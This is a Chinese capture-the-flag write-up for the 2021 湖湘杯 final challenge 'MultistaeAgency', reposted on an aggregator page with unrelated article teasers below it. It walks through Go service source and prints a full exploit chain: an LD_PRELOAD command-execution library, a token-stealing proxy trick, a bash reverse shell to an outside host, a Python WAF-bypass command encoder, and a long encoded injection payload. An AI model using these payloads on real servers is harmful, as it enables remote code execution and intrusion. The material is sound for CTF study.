[湖湘杯 2021 final]MultistaeAgency

文章目录


题目是给了源码,我们先来看web的main.go

package mainimport ("bytes""crypto/md5""encoding/json""fmt""io""io/ioutil""log""math/rand""net/http""os""os/exec""path/filepath""strings"
)var SecretKey = ""type TokenResult struct {Success string `json:"success"`Failed string `json:"failed"`
}const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {b := make([]byte, n)for i := range b {b[i] = letterBytes[rand.Intn(len(letterBytes))]}return string(b)
}func getToken(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}r.Header.Set("Fromhost", fromHost)command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")for k, _ := range values {command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))}outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()//res := "ERROR"if err != nil {fmt.Println(err.Error())}res := TokenResult{}if err = command.Wait(); err != nil {res.Failed = outerr.String()}res.Success = outinfo.String()msg, _ := json.Marshal(res)w.Write(msg)}type ListFileResult struct {Files []string `json:"files"`
}// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}// 验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)files, err := ioutil.ReadDir(dir)if err == nil {var fs []stringfor _, f := range files {fs = append(fs, f.Name())}msg, _ := json.Marshal(ListFileResult{Files: fs})w.Write(msg)}}}type UploadFileResult struct {Code string `json:"code"`
}func uploadFile(w http.ResponseWriter, r *http.Request) {if r.Method == "GET" {fmt.Fprintf(w, "get")} else {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}//验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)if _, err := os.Stat(dir); err != nil {os.MkdirAll(dir, 0766)}files, err := ioutil.ReadDir(dir)if len(files) > 5 {command := exec.Command("curl", "127.0.0.1:9091/manage")command.Start()}r.ParseMultipartForm(32 << 20)file, _, err := r.FormFile("file")if err != nil {msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})w.Write(msg)return}defer file.Close()fileName := RandStringBytes(5)f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)msg, _ := json.Marshal(UploadFileResult{Code: fileName})w.Write(msg)} else {msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})w.Write(msg)}}
}func checkToken(token, ip string) bool {data := []byte(SecretKey + ip)has := md5.Sum(data)md5str := fmt.Sprintf("%x", has)return md5str == token
}func IndexHandler (w http.ResponseWriter, r *http.Request) {http.ServeFile(w, r,"dist/index.html")
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", IndexHandler)fs := http.FileServer(http.Dir("dist/static"))http.Handle("/static/", http.StripPrefix("/static/", fs))http.HandleFunc("/token", getToken)http.HandleFunc("/upload", uploadFile)http.HandleFunc("/list", listFile)log.Print("start listen 9090")err = http.ListenAndServe(":9090", nil)if err != nil {log.Fatal("ListenAndServe: ", err)}
}

我们按照main主函数分析

  1. /token路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量
  2. /upload路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名,文件名是由RandStringBytes函数生成五位随机字符
  3. /list路由下调用listFile函数,根据传参的token值进行验证并列出上传文件

看proxy的main.go,开放在 8080 端口

package mainimport ("github.com/elazarl/goproxy""io/ioutil""log""net/http""os"
)func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey := string(content)proxy := goproxy.NewProxyHttpServer()proxy.Verbose = trueproxy.OnRequest().DoFunc(func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {r.Header.Set("Secretkey",SecretKey)return r,nil})log.Print("start listen 8080")log.Fatal(http.ListenAndServe(":8080", proxy))
}

继续分析server的main.go

package mainimport ("bytes""crypto/md5""fmt""io/ioutil""log""net/http""os""os/exec""unicode"
)// 检查来源ip为本地才继续执行var SecretKey = ""func getToken(w http.ResponseWriter, r *http.Request) {header := r.Headertoken := "error"var sks []string = header["Secretkey"]sk := ""if len(sks) == 1 {sk = sks[0]}var fromHosts []string = header["Fromhost"]fromHost := ""if len(fromHosts) == 1 {fromHost = fromHosts[0]}if fromHost != "" && sk != "" && sk == SecretKey {data := []byte(sk + fromHost)has := md5.Sum(data)token = fmt.Sprintf("%x", has)}fmt.Fprintf(w, token)
}func manage(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()m := values.Get("m")if !waf(m) {fmt.Fprintf(w, "waf!")return}cmd := fmt.Sprintf("rm -rf uploads/%s", m)fmt.Println(cmd)command := exec.Command("bash", "-c", cmd)outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()res := "ERROR"if err != nil {fmt.Println(err.Error())}if err = command.Wait(); err != nil {res = outerr.String()} else {res = outinfo.String()}fmt.Fprintf(w, res)
}func waf(c string) bool {var t int32t = 0blacklist := []string{".", "*", "?"}for _, s := range c {for _, b := range blacklist {if b == string(s) {return false}}if unicode.IsLetter(s) {if t == s {continue}if t == 0 {t = s} else {return false}}}return true
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", getToken)     //设置访问的路由http.HandleFunc("/manage", manage) //设置访问的路由log.Print("start listen 9091")err = http.ListenAndServe(":9091", nil) //设置监听的端口if err != nil {log.Fatal("ListenAndServe: ", err)}
}
  1. /路由下调用getToken函数,检查来源ip为本地才继续执行
  2. /manage路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/拼接赋值给cmd也就是要执行的命令,然后bash执行

代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");const char* cmd = getenv("CMD");system(cmd);
}

gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
在这里插入图片描述
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
在这里插入图片描述
所以我们上传后,payload如下

/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /

在这里插入图片描述
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)

我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
在这里插入图片描述那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage命令执行即可
bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'url编码一下,反弹shell
在这里插入图片描述

绕过waf的脚本如下

import sys
from urllib.parse import quote# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:a = sys.argv[1]out = r"${!#}<<<{"for c in "bash -c ":if c == ' ':out += ','continueout += r"\$\'\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"out += r"\'"out += r"\$\'"
for c in a:out += r"\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"
out += r"\'"out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m是会与前面rm命令拼接,所以用分号;隔开,构造;cat /flag
然后分号编码一下为%3b,payload如下

curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/215832.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

存储成本降71%,怪兽充电历史库迁移OceanBase

怪兽充电作为共享充电宝第一股&#xff0c;业务增长迅速&#xff0c;以至于业务架构不停地增加组件。在验证 OceanBase 可以简化架构并带来更大的业务价值后&#xff0c;首次尝试在历史库中使用 OceanBase 替代 MySQL&#xff0c;存储成本降低 71%。本文为怪兽充电运维架构部王…

odoo自定义提示性校验

背景: 在odoo16的原生的代码里&#xff0c;可以给按钮添加一个 confirm属性&#xff0c;从而达到 提示性校验的效果。 问题&#xff1a; 这个属性加了之后一定会弹出提示性校验的对话框&#xff0c;于是如何根据我们的实际业务&#xff0c;从后端返回提示性信息&#xff0c;…

ubuntu 20.04.6 server 服务器 下载与安装(配置静态IP)

下载地址&#xff1a;https://releases.ubuntu.com/20.04.6/ubuntu-20.04.6-live-server-amd64.iso 第一步&#xff1a; 准备U盘&#xff0c;使用软碟通将下载好的镜像写入到U盘中 软碟通网址&#xff1a;https://www.cn.ultraiso.net/xiazai.html 点击&#xff1a;文件 ->…

matlab 最小二乘拟合空间直线(方法三)

目录 一、算法原理1、算法过程2、参考文献二、代码实现三、结果展示四、相关链接博客长期更新,GPT与爬虫自重,你也未必能爬到最新版本。 一、算法原理 1、算法过程 空间直线的点向式方程为:

远程服务器QEMU+Ubuntu+GRUB+VNC最佳实践

远程服务器QEMUUbuntuGRUBVNC最佳实践 1. 准备2. QEMU启动安装Ubuntu2.1 服务器端2.2 本地端 3. 从服务器终端控制虚拟机GRUB与虚拟机终端 这段时间参与大量内核切换测试工作&#xff0c;实体机需要硬件自检太过笨重&#xff0c;因此主要通过QEMU验证正确性。有一个很大的问题是…

OpenSSL 编程指南

目录 前言初始化SSL库创建SSL 上下文接口(SSL_CTX)安装证书和私钥加载证书(客户端/服务端证书)加载私钥/公钥加载CA证书设置对端证书验证例1 SSL服务端安装证书例2 客户端安装证书创建和安装SSL结构建立TCP/IP连接客户端创建socket服务端创建连接创建SSL结构中的BIOSSL握手服务…

Reinfocement Learning 学习笔记PartⅠ

文章目录 Reinfocement Learning一、基本概念二、贝尔曼公式&#xff08;bellman equation&#xff09;2.1 为什么return重要2.2 state value function的定义2.3 贝尔曼公式推导2.4 如何求解贝尔曼公式2.5 Action value的定义 三、贝尔曼最优公式&#xff08;bellman optimalit…

1841_在Windows上安装emacs irony server

Grey 全部学习内容汇总&#xff1a;GitHub - GreyZhang/editors_skills: Summary for some common editor skills I used. 1841_在Windows上安装emacs irony server emacs有很多优点&#xff0c;配置出来不仅用着顺手而且有一定的成就感。但是&#xff0c;对于大多数人来说或…

将单体应用程序迁移到微服务

多年来&#xff0c;我处理过多个单体应用&#xff0c;并将其中一些迁移到了微服务架构。我打算写下我所学到的东西以及我从经验中用到的策略&#xff0c;以实现成功的迁移。在这篇文章中&#xff0c;我将以AWS为例&#xff0c;但基本原则保持不变&#xff0c;可用于任何类型的基…

【动态规划精选题目】1、斐波那契数列模型

此动态规划系列主要讲解大约10个系列【后续持续更新】 本篇讲解入门级&#xff1a;斐波那契模型&#xff0c;会在讲解题目同时给出AC代码 为什么叫斐波那契数列模型&#xff1f;因为本篇4道题的状态转移方程都跟斐波那契递推方程差不多&#xff0c;但这点不重要&#xff0c;请往…

【C++】:set和map

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关多态的知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数据结…

补充回答一些关于枚举类型的问题

补充回答一些关于枚举类型的问题 1.枚举类型在什么时候使用 枚举类型在以下情况下特别有用&#xff1a; 有限的离散值集合&#xff1a; 当变量的取值只有有限且离散的几个选项时&#xff0c;使用枚举类型能够提高代码的可读性。例如&#xff0c;星期几、月份、颜色等。 enum W…

Uncaught ReferenceError: jQuery is not defined解决方法

当我在写java的Maven项目时&#xff0c;出现了这样的一个报错信息&#xff1a; 我一直找代码&#xff0c;抓包&#xff0c;调试&#xff0c;比对代码 jQuery未定义就是指JS的导包没有导进来&#xff01;&#xff01;&#xff01;&#xff01; 导进来就运行正常啦

Server check fail, please check server xxx.xxx.xxx.xxx,port 9848 is available

记录一次服务调用中的错误 背景&#xff1a;我使用了nacos2.x的版本&#xff0c;同时在同一台服务器的三个docker容器中部署了nacos1、2、3&#xff0c;并将它们连接到了同一个docker网络 错误&#xff1a;Server check fail, please check server xxx.xxx.xxx.xxx,port 9848 …

使用cmake构建Qt6.6的qt quick项目,添加应用程序图标的方法

最近&#xff0c;在学习qt的过程中&#xff0c;遇到了一个难题&#xff0c;不知道如何给应用程序添加图标&#xff0c;按照网上的方法也没有成功&#xff0c;后来终于自己摸索出了一个方法。 1、准备一张图片作为图标&#xff0c;保存到工程目录下面&#xff0c;如logo.ico。 …

主机访问Android模拟器网络服务方法

0x00 背景 因为公司的一个手机app的开发需求&#xff0c;要尝试链接手机开启的web服务。于是在Android Studio的Android模拟器上尝试连接&#xff0c;发现谷歌给模拟器做了网络限制&#xff0c;不能直接连接。当然这个限制似乎从很久以前就存在了。一直没有注意到。 0x01 And…

Python编程技巧 – 使用组合运算符

Python编程技巧 – 使用组合运算符 Python Programming Skills – Using Combined Operators Python通过赋值过程&#xff0c;将声明变量与赋值和而为之&#xff0c;可谓讲求效率。此外&#xff0c;在Python赋值运算符里&#xff0c;也有一个强大高效的功能&#xff0c;即复合…

赴美上市传闻再起,SHEIN走到十字路口

作者 | 辰纹 来源 | 洞见新研社 裹挟着“黑五”大胜的余波&#xff0c;跨境电商巨头SHEIN&#xff08;希音&#xff09;将赴美IPO的传闻又在行业中散播开来。 金融投资报称SHEIN此次IPO的估值或达900亿美元&#xff1b;上海证券报表示&#xff0c;SHEIN已对投资人发出了路演…

字符设备驱动开发基础

一. 简介 本文简单了解一下&#xff0c;在字符设备驱动开发开始前对其一些基本认识。简单了解一下&#xff0c;应用程序与驱动的交互原理&#xff0c;以及字符设备驱动开发流程。 二. 字符设备驱动开发流程 1. 在 Linux 中一切皆为文件&#xff0c;驱动加载成功以后会在“…

Camunda 7.x 系列【60】流程分类

有道无术,术尚可求,有术无道,止于术。 本系列Spring Boot 版本 2.7.9 本系列Camunda 版本 7.19.0 源码地址:https://gitee.com/pearl-organization/camunda-study-demo 文章目录 1. 前言2. 案例演示2.1 后端2.2 前端2.3 测试1. 前言 钉钉中的OA审批分类: 企业级的业务…